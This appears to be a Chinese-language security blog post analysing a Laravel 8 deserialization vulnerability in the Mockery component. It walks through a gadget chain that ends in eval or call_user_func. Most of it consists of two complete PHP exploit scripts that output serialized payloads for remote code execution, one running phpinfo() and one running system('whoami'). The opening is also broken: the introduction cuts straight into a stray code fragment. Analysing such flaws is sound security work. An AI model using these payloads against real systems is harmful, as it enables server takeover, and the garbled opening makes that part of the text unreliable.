Laravel 8 反序列化分析

forward

laravel的版本已经到了8；这里分析一个laravel8的反序列化漏洞，但是让我感到意外的是，这个漏洞竟然在低版本的laravel上依然可以存在，从根本来说这个漏洞是laravel的mockery组件漏洞，没想到一直没修；

本文涉及知识点实操练习：" . $definition->getCode()); } }

call_user_func函数在第一个参数为数组的时候，第一个参数就是我们选择的类，第二个参数是类下的方法；所以这里直接去到EvalLoader类，去执行load方法从而调用到eval函数；这里发现存在参数，而且参数必须是MockDefinition类的实例；也即是意味着我们connection需要为MockDefinition类的实例；

继续审计发现，必须if为false才会触发eval方法；所以这里我们需要直接追溯到MockDefinition类中；

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }
    public function getCode()
    {
        return $this->code;
    }
}

看下getClassName函数；这里的config是可控的，所以我们直接找到一个存在getName方法并且可控该方法的类；全局搜索下找到MockConfiguration.php可以实现；

protected $name;
    public function getName()
    {
        return $this->name;
    }

因为最后是要经过class_exit函数的判断的，所以我们可以直接控制其返回一个不存在的类，就会造成false从而进入eval方法；继续回到eval方法；

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

这里还有个getCode方法，我们通过上面的类也可审计getCode方法；code在MockDefinition类中也是可控的，所以我们可以随意的控制其内容，那么我们就可命令执行；放出我exp：

?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
	protected $event;
	protected $events;
    public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}
namespace Illuminate\Bus{
class Dispatcher
{
	protected $queueResolver;
    public function __construct($queueResolver)
    {
        $this->queueResolver = $queueResolver;
    }

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
	public $connection;
	public function __construct($connection)
    {
        $this->connection = $connection;
    }
		}
}

namespace Mockery\Loader{

use Mockery\Generator\MockDefinition;
class EvalLoader
{
	    public function load(MockDefinition $definition)
    {}
}
}
namespace Mockery\Generator{
class MockConfiguration
{	
protected $name;
	public function __construct($name){

	$this->name = $name;
}
}


}
namespace Mockery\Generator{

class MockDefinition
{
	protected $config;
	protected $code;
	public function __construct($config,$code)
    {
    	$this->config = $config;
    	$this->code = $code;
    }
}
}
namespace{
	$e = new Mockery\Generator\MockConfiguration('s1mple');
	$d = new Mockery\Loader\EvalLoader();
	$f = new Mockery\Generator\MockDefinition($e,'?php phpinfo();?>');
	$c = new Illuminate\Broadcasting\BroadcastEvent($f);
	$a = new Illuminate\Bus\Dispatcher(array($d,"load"));
	$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
	echo urlencode(serialize($b));
}

这里为了节省时间，我最后用abcdef直接代替了，造成rce；

细心的师傅想必也发现了；在最开始的call_user_func处，也是可以进行命令执行的；

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

这里可以直接控制进行命令执行；这个很简单，就直接放出我exp吧；

?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
	protected $event;
	protected $events;
    public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}
namespace Illuminate\Bus{
class Dispatcher
{
	protected $queueResolver;
    public function __construct($queueResolver)
    {
        $this->queueResolver = $queueResolver;
    }

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
	public $connection;
	public function __construct($connection)
    {
        $this->connection = $connection;
    }
		}
}
namespace{
	$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
	$a = new Illuminate\Bus\Dispatcher('system');
	$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
	echo urlencode(serialize($b));
}